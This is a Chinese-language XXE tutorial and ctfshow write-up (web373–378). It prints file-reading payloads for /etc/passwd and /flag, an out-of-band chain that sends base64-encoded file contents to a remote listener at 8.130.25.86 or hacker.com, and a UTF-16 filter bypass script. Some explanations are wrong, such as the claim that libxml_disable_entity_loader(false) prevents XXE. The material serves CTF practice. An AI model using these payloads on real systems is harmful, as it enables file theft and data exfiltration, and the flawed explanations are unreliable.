XXE

1.什么是xxe?

XXE漏洞(XML外部实体注入)是一种安全漏洞,可以利用输入验证不严格的 XML 解析器来注入恶意代码。攻击者可以通过构造恶意的 XML 文档将其发送到应用程序中,在解析该文档时,XML 解析器会加载外部实体(如文件、URL等),以便在文档中引用它们。攻击者可以利用这个功能来执行各种攻击,例如读取服务器上的任意文件、发送内部网络请求、绕过身份验证等。

有点像SSRF

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。更多其实是java漏洞,因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。

2.什么是XML

XML(Extensible Markup Language)意为可扩展性标记语言,XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。

参考例子:

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE people [  <!--定义此文档是 people 类型的文档-->
  <!ELEMENT people (name,age,mail)>  <!--定义people元素有3个元素-->
  <!ELEMENT name (#PCDATA)>     <!--定义name元素为“#PCDATA”类型-->
  <!ELEMENT age (#PCDATA)>   <!--定义age元素为“#PCDATA”类型-->
  <!ELEMENT mail (#PCDATA)>   <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
  <name>john</name>
  <age>18</age>
  <mail>john@qq.com</mail>
</people>

1.DTD 实体声明

DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:

<!DOCTYPE 根元素 [定义内容]>

2.内部实体声明

内部声明采用如下格式定义:

  <!ENTITY 实体名 "实体值">

声明之后就可以通过“&实体名;”来获取,示例如下

  <!DOCTYPE foo [
  <!ENTITY test "john">
]>
<root>
  <name>&test;</name>
</root

3.外部实体引用

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。

(1)普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

举个例子:

<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。

(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

注意

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体

举个例子:

<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>

xxe.dtd 内容如下:

<!ENTITY evil SYSTEM "file:///etc/passwd">

上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。

普通实体和外部实体的差别:

作用范围:普通实体的作用范围是整个 XML 文档。当 XML 解析器遇到某个实体时,会将其替换为实体的定义内容。而参数实体只在声明它们的 DTD 内有效。DTD 是一种文档类型定义,它规定了 XML 文档的结构、标签等方面的规范。

web373

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  $creds = simplexml_import_dom($dom);
  $ctfshow = $creds->ctfshow;                       //XML对象指向ctfshow的元素标签
  echo $ctfshow;
}
highlight_file(__FILE__);    

主要实现功能是读取从客户端通过 POST 请求发送过来的 XML 文件,并提取文件中 ctfshow 标签内的值进行输出。

第二行语句 libxml_disable_entity_loader(false); 用于开启 XML 实体加载器,防止 XXE(XML External Entity)攻击;接下来的代码块则判断请求是否包含 XML 文件,如果存在则解析该文件并将 ctfshow 标签内的值输出到客户端。

loadXML()函数是DOMDocument类提供的加载XML内容的方法

$creds = simplexml_import_dom($dom);这行代码的作用是将 DOMDocument 对象转化为 SimpleXMLElement 类型的对象,方便对 XML 数据进行操作。在 PHP 中,DOMDocument 是一个类,提供了一种在脚本中创建和修改 XML 文档结构的方法。而 SimpleXMLElement 是另一个类,可以让我们更方便地读取和修改 XML 数据。

在这里,$dom 是一个由 file_get_contents 函数返回的字符串内容,表示一个 XML 文件。simplexml_import_dom 函数则将该字符串转换成了 DOMDocument 对象,并将其转化为 SimpleXMLElement 对象 $creds。这样做的好处在于,SimpleXMLElement 对象使得 XML 数据操作更加简单,我们可以通过对象的属性或方法来提取 XML 标签内的数据,而不需要写繁琐的 DOM 操作代码。

payload

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

用bp传

web374

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看

在服务器上创建一个1.php

<?php 
file_put_contents("test.txt", $_GET['file']) ;
?>

再创建xxe.xml

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://8.130.25.86/1.php?file=%file;'> ">
%dtd;
%xxe;

bp抓包,然后输入

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.130.25.86/xxe.xml">
%aaa;
]>
<root>123</root>

将两个外部实体(%file和%aaa)引入XML文档中

%file定义了一个实体,用于读取位于/flag路径下的文件并对其进行base64编码,则该文件的内容将以base64编码的形式显示在XML响应中。

%aaa定义了一个实体,指向远程XML文档。如果能够成功地利用此漏洞执行XXE攻击,则远程XML文档的内容将被解析并包含在XML响应中。

回到服务器上,发现多了一个test.txt,里面就是flag,要将其base64解码

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

在上面的基础上过滤了xml,version=1或0

就是把上面的xxe.xml文件改成xxe.dtd

把payload改为

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://8.130.25.86/xxe.dtd">
%aaa;
]>
<root>123</root>

web376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml,version=1或0,和大小写

用上一题payload,依旧ok的

web377

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
  die('error');
}
if(isset($xmlfile)){
  $dom = new DOMDocument();
  $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

发现在之前的基础上过滤了http

那就对其进行utf-16编码

用python(要安装requests库)


import requests
url = 'http://40c779ee-41dc-46cf-beed-50106c16e953.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://8.130.25.86/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

抓包发现,回显usename,那就是标准的xxe了

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>